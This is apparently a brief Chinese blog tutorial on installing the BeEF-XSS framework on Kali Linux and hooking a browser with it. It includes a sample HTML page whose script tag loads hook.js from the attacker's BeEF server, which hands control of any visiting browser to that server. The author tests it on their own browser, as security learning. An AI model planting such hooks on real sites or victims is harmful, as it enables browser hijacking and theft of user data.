kali下载beef-xss及利用

最新推荐文章于 2024-05-13 02:49:09 发布

⃟殇⃟落⃟漠⃟然⃟

最新推荐文章于 2024-05-13 02:49:09 发布

阅读量1.6k

点赞数 4

文章标签： xss 安全前端

本文链接：https://blog.csdn.net/qq_53175607/article/details/121944051

版权

1.beef-xss下载

使用apt-get update 更新kali（不是管理员用户前面加sudo）

apt-get install beef-xss 下载beef（不是管理员用户前面加sudo）

2.利用
启动输入命令beef-xss
在这里插入图片描述

http：//kaliip:3000/ui/panel打开登录页面

在这里插入图片描述
构建一个简单的xss html页面

<html>
<head>
<script src='http://kaliip:3000/hook.js'></script> <!-- 这里的主机和端口号，需要和配置文件的一致。 -->
</head>
<body>
你被劫持了
</body>
</html>

在这里插入图片描述
将文件保存后缀改为html
点击测试

上线成功

随便使用beef-xss模块测试（我使用的是谷歌浏览器上线的所以用谷歌专用模块测试）
在这里插入图片描述
成功

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

关注关注